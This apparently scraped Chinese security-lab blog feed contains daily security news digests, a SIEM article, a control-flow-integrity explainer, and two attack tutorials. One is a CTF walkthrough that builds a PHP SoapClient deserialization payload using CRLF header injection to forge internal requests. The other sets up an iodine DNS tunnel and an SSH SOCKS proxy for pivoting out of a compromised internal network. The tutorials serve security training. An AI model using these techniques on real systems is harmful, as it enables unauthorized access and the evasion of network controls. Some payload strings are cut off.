网络安全日报 2021年09月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新加坡政府科技局在HackerOne上推出新的漏洞奖励计划
https://www.securityweek.com/singapore%E2%80%99s-govtech-announces-new-vulnerability-rewards-programme 2、谷歌发布 Chrome 93 ,修复27个安全漏洞
https://www.securityweek.com/google-awards-over-130000-flaws-patched-release-chrome-93 3、 Linphone SIP 客户端belle-sip库存严重漏洞
https://www.securityweek.com/vulnerability-allows-remote-dos-attacks-against-apps-using-linphone-sip-stack 4、 研究人员提出基于机器学习的蓝牙认证方案
https://thehackernews.com/2021/08/researchers-propose-machine-learning.html 5、Cream Finance加密货币交易平台遭到黑客攻击
https://threatpost.com/cream-finance-defi-29m/169077/ 6、Market黑客组织在暗网出售日本富士通的数据
https://www.zdnet.com/article/fujitsu-says-stolen-data-being-sold-on-dark-web-related-to-customers/ 7、印度尼西亚COVID-19追踪应用程序泄露用户信息
https://www.technadu.com/indonesia-launches-investigation-possible-breach-covid-19-tracing-app/298229/ 8、QNAP 正在为受OpenSSL 漏洞影响的产品开发安全补丁
https://securityaffairs.co/wordpress/121724/iot/qnap-openssl-nas.html 9、Gutenberg 模板库和 Redux 框架插件漏洞影响数百万WordPress站点
https://threatpost.com/gutenberg-template-library-redux-bugs-wordpress/169111/ 10、本田雅阁、思域等多款车存在密钥重放攻击安全漏洞
https://github.com/hackingintoyourheart/unoriginal-rice-patty
远程工作环境中的可视性与威胁检测
在新冠疫情开始之初,当世界各地的政府下达居家令时,许多员工已经向他们的雇主证明,他们居家办公也可以保持与之前一样的高效率,甚至在某些情况下还可以提高工作效率。
由于这种被迫进行的尝试,许多专家和管理人员现在预测:这种灵活的居家办公策略将会继续存在。Gartner 的研究表明,有 41% 的员工将会继续居家办公,而在新冠疫情发生之前这一比例只有 30%。此外,已有 13% 的首席财务官 (CFO) 开始削减用于办公空间的房地产支出。随着远程工作模式的持续,安全专家需要采用相应的方法来维持已在消失多年的网络外围中几乎不存在的可视性、监控和威胁检测。
尽管存在新的盲点,但在以下四个关键领域中,集中式安全信息和事件管理 (SIEM) 解决方案可以帮助安全团队重新获得并提升可视性与监控。
电子邮件
有针对性的攻击者擅长编写极具吸引力的网络钓鱼电子邮件,而且他们的技巧会越来越纯熟。电子邮件是需要予以监控的最重要的威胁媒介之一,因为在进入组织网络的恶意软件中,有 94% 的恶意软件都是通过网络钓鱼来交付的。若要尽早了解这些威胁,更重要的是,若要准确跟踪网络钓鱼电子邮件打开后发生的情况,安全团队需要获得对整个组织中所发生情况的集中视图。
端点
在大规模转向远程工作模式之前,公司通常可以分为两种类型:
一种是那些几乎完全采用办公室工作模式,其用户使用台式机进行工作的公司,
而另一种是那些支持远程工作模式,其笔记本电脑上的用户可以通过 VPN 连接到网络的公司。
当员工几乎完全转向远程工作模式时,他们都会面临诸多挑战。之前采用办公室工作模式的组织需要迅速弄清楚如何为远程员工启用核心服务和应用,而且在某些情况下,还需要首次部署虚拟专用网络 (VPN)。支持远程工作模式的公司会发现 VPN 使用量激增,网络不堪重负且速度大大降低,从根本上迫使用户不得不脱离 VPN 来维持生产效率。从安全角度来看,两种情况都在端点和用户活动方面引入了大量盲点。
若要重新获得可视性,安全团队可以结合采用端点操作系统 (OS)、VPN 和端点检测与响应 (EDR) 事件来进行威胁检测。借助 Windows、macOS 和 Linux 的本地日志记录,安全团队可以洞悉端点级别发生的情况。通过使用 Sysmon 扩展 Windows 事件日志记录,团队可以获得更深入的威胁相关洞察力,例如流程活动和域名系统 (DNS) 请求。
对于使用 EDR 解决方案(例如 Carbon Black 或 CrowdStrike)的组织,可以将端点安全事件发送到集中式 SIEM 解决方案,并与其他企业数据相关联,以实现端到端威胁可视性。一旦 EDR 与 SIEM 进行了紧密集成,便可以直接从 SIEM 界面启动响应操作。最后,当用户登录 VPN 或通过基于风险的身份验证访问应用时,这些解决方案可以洞悉有关端点位置、MAC 地址、用户代理以及其他有价值的信息,进而提供这是否是真实用户的洞察力。
一旦通过单个位置收集了这些宝贵的数据,安全团队便可运用一系列机器学习和基于相关性的分析来检测已知和未知威胁。对于安全运营团队而言,寻找可提供预构建安全用例和分析的 SIEM 供应商尤为有用,这样他们就不必花费时间和金钱从头开始研究和开发这些产品。
应用
应用活动的监控应是团队的主要重点,因为与监控端点不同,组织即使在网络之外也仍然可以控制应用活动。应用监控还有助于暴露网络中已存在的攻击者。应用监控可以在多个级别上执行:
通过身份即服务 (IDaaS) 解决方案(例如 Cloud Identity Connect 或 Okta 登录时。
直接通过 SAP、SalesForce.com 或 Office 365 等应用登录、注销时。
通过 Zscaler 等云访问安全代理 (CASB) 解决方案来监控谁正在访问或试图访问哪些应用。
直接在应用堆栈内,包括 OS 容器编排平台(如 Kubernetes)、容器本身和这些环境中的 API 调用。
云
由于许多物理数据中心暂时关闭,因此组织迫切需要将 IT 系统的现场物理维护需求降至最低。许多组织已迅速加速了云基础架构的采用,为其工作负载和应用提供支持,以维持业务连续性。由于许多此类迁移已经进行了规划(通常只是按照随后的时间表进行),因此大多数安全团队都应期望这些投资能够继续保持。
为了更早地了解这些环境中的风险和威胁,安全团队可以监控一系列事件,包括用户活动、应用活动以及资源和配置更改。幸运的是,主要的公有云供应商(例如 AWS、IBM、Azure 和 Google Cloud))均提供了丰富的日志、事件和网络流数据集,这些可引入到集中式 SIEM 解决方案之中,进而实现内部和多云环境中的可视性和检测。
总结
由于正在快速转移到远程工作模式,许多 IT 组织现在已经部署了支持远程员工的技术。在过去的数月中,员工已经证明他们居家办公也可以保持较高的生产效率。随着我们迈向新常态,即将发生的一项明显变化就是更加灵活、对远程友好的工作策略。在此情况下,安全运营团队需要一种可持续的长期战略,以在具有新盲点且几乎没有任何剩余外围的网络上保持可视性和威胁检测。
通过加倍增加集中式安全分析,特别是网络钓鱼、端点、应用和云安全用例,安全分析人员可以获得新的洞察力,弥补丢失的可视性并最终帮助增强组织的安全态势。在如今安全团队由于远程工作而精疲力尽的时代,组织可以考虑部署具备以下优势的 SIEM 解决方案:能够在任何环境(包括 SaaS 或公有云)中运行、能够提供预构建用例,让检测变得更轻松并提高总体价值,同时能够提供与 SOAR 解决方案(如 Resilient)的紧密集成,进而加快端到端威胁检测、调查和响应周期。
cfi那些事(1)
控制流完整性
针对于漏洞利用,最终的效果和目的就是劫持控制流,控制目标程序做一些他本来做不了的事情。可以达到这一目的的方式有很多,比如ROP、劫持函数指针等等。而这些都来自于软件中一些漏洞,如缓冲区溢出、释放后利用等等。最初防御的方式就是头疼医头,脚疼医脚,哪里出现了漏洞比如缓冲区溢出,我们就检查一下内存边界,或者在边界处设置一个cookie(canary)。
或许是漏洞多的补不过来,之前的防御方式不能很好的完成防御计算机被破坏的工作,原本的防御方式经过几轮较量后衍生出了很多绕过方式,这些攻击手法就是现代漏洞利用技术的核心,比如ROP。如果攻击者通过层层阻挠,到达了执行ROP这一步,那么后续的路基本就畅通无阻了,因为之前并没有防御ROP的有效方式。
CFI即Control Flow Integrity控制流完整性就是指程序运行时控制流的合法性。这一步概念被提出来主要就是为了针对ROP的防御。可以将程序运行看作是一辆车在路上跑,开发者遵循的安全开发准则,比如说严格控制好边界等可以看作是司机在路上遵守交通规则;而之前的防御如canary等内存边界检查机制可以理解为马路边上的防护栅栏;而CFI验证可以看作是车内的安全气囊、安全带等装置。
那么这个CFI验证具体干什么呢不管一个程序有多复杂,他所能覆盖到的代码分枝路线以及行为虽然很多,但是不是无限的,他的活动范围总会有一个边界。如果一个攻击者通过程序中的漏洞控制了这个程序,那么攻击者肯定不会满足于程序本身给提供的代码分枝进行执行,总会超过这一边界,去执行一些程序中本来没有的逻辑。
CFI验证顾名思义,就是确保程序在预期的范围内执行。针对于这一思路,目前已经有很多的实现方式。
windows cfg
cfg全称就是Control Flow Guard,即控制流保护。其主要思路就是在间接跳转前后插入一段代码,用于验证其有效性。
为什么是间接跳转呢?因为直接跳转写死在代码段,攻击者利用不了。
如何验证其有效性呢?在编译时会记录各个间接跳转函数的地址,生成一个白名单,在函数发生间接跳转时就会对照这一白名单,如果在白名单里面,皆大欢喜,不在的话那就抛出异常。
那么具体怎么做的呢?这里偷个懒,引用下其他前辈的文章:
https://xz.aliyun.com/t/2587https://www.anquanke.com/post/id/85493https://blog.csdn.net/cssxn/article/details/101285088https://blog.csdn.net/stevegao_tencent/article/details/43486485?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearc
然而CFG也有缺点,也就是绕过方法,比如他没有防御返回地址、SEH指针等,可以攻击这些没有被CFG防御的区域.同样,由于CFG依赖白名单,而这一白名单是在编译时生成的,他没有扩展性,所以一些临时生成代码比如JIT生成的代码就没有CFG保护。
发展
对于CFI验证,学术界提出了很多相应的解决办法。对于这种底层的验证方案,不光要考虑可行性和安全性,同时效率也是不可忽视的一个重要因素。各种专家学者提出了很多的方案,这篇文章中做了一些简要的介绍:
https://www.inforsec.org/wp/?p=495控制流劫持的末日——CET
或许是厌倦了软件防护花里胡哨的算法以及效率的折衷,intel提出了一个似乎更佳完美的解决方案:CET。
这个CET全称是Control-flow Enforcement Technology,并不是大学英语等级考试的CET。
研究者们似乎将分支跳转分成了两类,第一类是向前跳转,即call、jmp类型指令,第二类是后向跳转,也就是ret型指令。
那么众所周知,劫持控制流就是控制RIP指针,而RIP指针只能通过上述的两类指令进行修改,所以控制流劫持的攻击手段也都是针对于这些指令做文章。蛇打七寸,intel的CET防护措施似乎正好将剑戳进了控制流劫持的心窝。
奇怪的指令——endbr64
起初并没有刻意的去参阅有关资料,而是在新版本的编译器中发现了一个奇怪的指令:endbr64,于是乎google一下,属实吓得不轻。
intel在硬件层面实现了对控制流完整性的相应检查防御措施,而这个奇怪的指令endbr64就是其中之一。
这个endbr64指令在旧版本的cpu中会被当作NOP指令,而在新的cpu中其实也是个空操作指令,但是会被当作一个标志,用于监控间接跳转,他会出现在函数的开头位置。
具体来说,就是当发生间接跳转时,cpu会从IDLE状态转换为WAITING状态,在WAITING状态的cpu运行的下一条指令必须为endbr64,如果不是的话,那么直接抛出一个异常,是的话CPU就转为IDLE状态继续执行。
The ENDBRANCH (see Section 73 for details) is a new instruction that is used to mark valid jump target addresses of indirect calls and jumps in the program. This instruction opcode is selected to be one that is a NOP on legacy machines such that programs compiled with ENDBRANCH new instruction conti
IF EndbranchEnabled(CPL) & EFER.LMA = 1 & CS.L = 1
IF CPL = 3
THEN
IA32_U_CET.TRACKER = IDLE
IA32_U_CET.SUPPRESS = 0
ELSE
IA32_S_CET.TRACKER = IDLE
IA32_S_CET.SUPPRESS = 0
FI
FI;
ROP的落幕 —— shadow stack
针对于ROP攻击,intel的CET策略是采用一个影子栈,专门用来记录返回地址等信息。
具体工作原理就是:
当运行call指令时,会同时向用户栈和影子栈压入返回地址。而当运行ret指令时,会讲用户栈弹出的返回地址与影子栈中弹出的返回地址做一个比较,若不相同则抛出异常。
那么这个影子栈存储在哪里呢?intel专门为这个影子栈策略提供了相应的寄存器和指令,分别为SSP(shadow stack pointer)和影子栈操作指令:
INCSSP – increment SSP (i.e. to unwind shadow stack)
RDSSP – read SSP into general purpose register
SAVEPREVSSP/RSTORSSP – save/restore shadow stack (i.e. thread switching)
具体的指令有哪些,这里我就没有细究,有兴趣可以翻阅intel文档。
https://binpwn.com/papers/control-flow-enforcement-technology-preview.pdf结语
从最初简单的栈溢出执行shellcode到ROP,再到堆溢出利用,花式劫持虚函数指针,轰轰烈烈持续了几十年的内存破坏漏洞似乎在最近可预见的未来要到一个尾声了。似乎后CET时代的黑客们只能投机取巧攻击一些老旧的未被CET保护的设备,防御的成本越来越低,而攻击的成本则越来越高。而漏洞的攻防战还没结束,测信道、逻辑漏洞等等目前还是没有一个统一有效的保护措施,学无止境,学吧。
网络安全日报 2021年09月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Fortress Security Store 家庭安全系统中发现严重漏洞
https://www.securityweek.com/vulnerabilities-can-allow-hackers-disarm-fortress-home-security-systems 2、研究人员发现GitHub Copilot 生成的代码中约有 40% 存在漏洞
https://www.securityweek.com/code-generated-github-copilot-can-introduce-vulnerabilities-researchers 3、QNAP 设备受最新 OpenSSL 漏洞影响
https://threatpost.com/qnap-openssl-bugs/169054/ 4、LockFile勒索软件利用间歇性加密技术绕过防护
https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html 5、开源Python机器学习框架TensorFlow存在RCE漏洞
https://portswigger.net/daily-swig/deserialization-bug-in-tensorflow-machine-learning-framework-allowed-arbitrary-code-execution 6、诈骗者冒充OpenSea数字资产市场的客服窃取加密货币
https://www.govinfosecurity.com/scammers-impersonate-opensea-customer-support-a-17414 7、WooCommerce定价插件允许恶意代码注入
https://threatpost.com/woocommerce-plugin-malicious/169063/ 8、美国SEC 将监控 DeFi 平台上的非法活动
https://www.govinfosecurity.com/sec-to-monitor-illicit-activity-on-defi-platforms-a-17410 9、AMD Zen+、Zen2 系列处理器易受Meltdown侧信道攻击
https://www.theregister.com/2021/08/30/amd_meltdown_zen 10、Puma 1GB被盗数据在暗网上公开拍卖
https://www.freebuf.com/news/286723.html
网络安全日报 2021年08月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美司法部宣布设立奖学金计划用于检察官和律师的网络安全培训
https://securityaffairs.co/wordpress/121646/security/us-doj-cyber-fellowship-program.html 2、CISA 敦促企业修复 Microsoft Azure Cosmos DB 漏洞
https://securityaffairs.co/wordpress/121638/security/cisa-microsoft-azure-cosmos-db-flaw.html 3、台达工业能源管理系统存多个高危漏洞影响生产安全
https://www.securityweek.com/exploitation-flaws-delta-energy-management-system-could-have-dire-consequences 4、HPE 警告 Sudo 漏洞影响AirWave 管理平台
https://threatpost.com/hpe-sudo-bug-aruba-platform/169038/ 5、新的 Mirai 变体利用 WebSVN 命令注入漏洞
https://unit42.paloaltonetworks.com/cve-2021-32305-websvn 6、ProxyToken 漏洞可修改 Exchange 服务器配置
https://therecord.media/proxytoken-vulnerability-can-modify-exchange-server-configs/ 7、曼谷航空公司遭LockBit勒索软件攻击导致数据泄露
https://www.zdnet.com/article/bangkok-airways-apologizes-for-passport-info-breach-as-lockbit-ransomware-group-threatens-release-of-more-data/ 8、Phorpiex僵尸网络停止运营并在暗网出售源码
https://securityaffairs.co/wordpress/121560/malware/phorpiex-botnet.html 9、研究人员发现了新版本的DirtyMoe僵尸网络
https://cyware.com/news/dirtymoe-botnet-returns-with-new-tricks-ba3ef2b8 10、网信办:算法推荐服务提供者不得利用算法屏蔽信息、过度推荐
https://www.freebuf.com/news/286454.html
网络安全日报 2021年08月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、FBI 共享"HIVE"勒索软件的 IOC
https://www.securityweek.com/fbi-shares-iocs-hive-ransomware-attacks 2、Annke 视频监控产品高危漏洞可被远程攻击
https://www.securityweek.com/vulnerability-allows-remote-hacking-annke-video-surveillance-product 3、Azure Cosmos DB 存在未授权即可接管的严重漏洞
https://www.securityweek.com/critical-vulnerability-exposed-azure-cosmos-dbs-months 4、一些 Synology 产品受到最近披露的 OpenSSL 漏洞影响
https://securityaffairs.co/wordpress/121600/security/synology-synology-openssl-flaws.html 5、EskyFun 遭数据泄露,超过 100 万玩家受到影响
https://securityaffairs.co/wordpress/121589/data-breach/eskyfun-data-leak.html 6、研究人员演示了万事达和Visa卡PIN绕过攻击
https://securityaffairs.co/wordpress/121571/hacking/pin-bypass-attack-mastercard-maestro.html 7、Ragnarok 勒索软件停止运营并发布了解密密钥
https://securityaffairs.co/wordpress/121512/cyber-crime/ragnarok-ransomware-master-key.html 8、Verizon移动消息服务Vzwpix被利用于网络钓鱼
https://cofense.com/blog/mobile-messaging-phish/ 9、Parallels Desktop针对其权限提升漏洞发布解决方法
https://threatpost.com/parallels-inconvenient-fix/168997/ 10、波士顿公共图书馆遭到网络攻击导致系统中断
https://www.bleepingcomputer.com/news/security/boston-public-library-discloses-cyberattack-system-wide-technical-outage/
SoapClient原生类在开发以及安全中利用
Soap模块的安装:
PHP使用SOAP协议调用接口,需要安装soap模块插件,在使用之前使用phpinfo()方法输出判断安装的PHP是否已安装了该插件。
SoapClient原生类介绍:
SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient原生类官方介绍如下:
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
可以看到,根据以上代码,在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开发中的应用以及SoapClient在安全中的应用这两块。
SoapClient在开发中的应用
wsdl这参数之所以在开发中如此常用,是因为它能非常快速的调用现成接口。
用一个实例代码介绍一下wsdl参数:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
$params = array(
"qqCode" => "1043045300"
);
$result = $client->qqCheckOnline($params);
print_r($result);
?>
执行结果如下:
stdClass Object
(
[qqCheckOnlineResult] => Y
)
其中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线
当然,也可以执行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
print_r($client->__getTypes());
print_r($client->__getFunctions());
?>
执行结果如下:
Array
(
[0] => struct qqCheckOnline {
string qqCode;
}
[1] => struct qqCheckOnlineResponse {
string qqCheckOnlineResult;
}
)
Array
(
[0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
[1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
)
根据上方的两个例子,我们对SoapClient原生类应该有了部分了解。
但是由于SOAP协议本质上其实还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开发过程中,更有些接口对于请求的HTTP头也做一些校验限制,因此需要设置HTTP的请求头以适应需求。
有关设置HTTP请求头的下面的篇幅会讲到。
SoapClient在安全中的应用
由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。
因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。
这种时候,SoapClient正好可以给我们解决问题。
下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。
首先题目是给了flag.php的源码,源码如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
打开题目后,内容如下:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
我们先审计flag.php,前半部分是对XFF头进行了处理:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
explode() 函数可以把字符串打散为数组。
array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。
这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。
假如我们有以下代码:
<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);print_r($ip);
当我们XFF传入以下内容:
127.0.0.1 #返回:空127.0.0.1,127.0.0.2 #返回:127.0.0.1127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2
接下来我们审计index.php的代码
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php
接下来,我们手动在本地做测试:
我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分:
<?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));$client->getFlag();
然后我们nc监听9999端口
nc -lvvp 9999
刷新页面之后,可以得到以下请求内容:
仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的
但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded)
因此我们可以想办法伪造User-Agent头:
修改后的代码如下:
<?php$ua = "Lxxx";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
nc监听后,得到的结果如下:
可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数
当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造
再次修改后的代码如下:
<?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
代码中有几个注意的点
因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹
HTTP请求头之间的参数用一组\r\n分割即可
HTTP请求头与POSTDATA之间要用两个\r\n分割.
设置User-Agent时,应写成user_agent
同样的,nc监听后,结果如下:
其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。
在本地测试完成了,接下来我们将相关参数修改与题目相对应。
修改后的payload如下:
<?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));print_r(urlenco
得到结果:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%
然后传入payload:
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+applica
这样flag就被写到了flag.txt中,访问之后即可拿到flag:
但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。
不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。
实验名称:https://www.yijinglab.com/expc.do?ce=0fbc7585-56ba-4598-87ce-bd8e7504d00b
网络安全日报 2021年08月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Atlassian 修补 Confluence 中的高危代码执行漏洞
https://www.securityweek.com/atlassian-patches-critical-code-execution-vulnerability-confluence 2、Microsoft 发布有关 ProxyShell 漏洞的指南
https://www.securityweek.com/microsoft-issues-guidance-proxyshell-vulnerabilities 3、思科修补数据中心产品中的严重漏洞
https://securityaffairs.co/wordpress/121485/breaking-news/cisco-apic-flaw.html 4、CISA 发布针对 Pulse Secure 设备的恶意软件分析报告
https://securityaffairs.co/wordpress/121492/security/pulse-secure-cisa-mars.html 5、约会应用 Bumble 中的"三角测量"漏洞可定位用户精确位置
https://portswigger.net/daily-swig/trilateration-vulnerability-in-dating-app-bumble-leaked-users-exact-location 6、Kaseya 修补 Unitrends 服务器零日漏洞
https://www.bleepingcomputer.com/news/security/kaseya-patches-unitrends-server-zero-days-issues-client-mitigations 7、三星证实手机默认应用将停止展示广告
https://www.theverge.com/2021/8/18/22630332/samsung-ads-default-stock-apps-weather-pay-theme-confirmed 8、Poly Network向归还数字货币的黑客发放奖金和Offer
https://www.bleepingcomputer.com/news/security/hacker-gets-500k-reward-for-returning-stolen-cryptocurrency/ 9、美国白宫与微软、谷歌等多家公司商议共同改善国家网络安全
https://www.freebuf.com/news/286317.html 10、工信部通报下架67款侵害用户权益APP
https://www.freebuf.com/news/286230.html
内网渗透之DNS隧道搭建(1)
前言
年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。
DNS隧道介绍
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
DNS隧道搭建工具推荐
DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。
前置准备
因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:
第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"
第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。
最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。
配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。
iodine进行隧道搭建
1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。
apt-get install iodine
2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:
iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD
#-f:在前台运行
#-c:禁止检查所有传入请求的客户端IP地址。
#-P:客户端和服务端之间用于验证身份的密码。
#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
#注意!填写的地址为NS记录
3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:
iodine -f -P d1m0n dns2tcp.xxx.com -M 200
#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。
两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:
到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:
ssh -N -D 8080 user@192.168.0.1
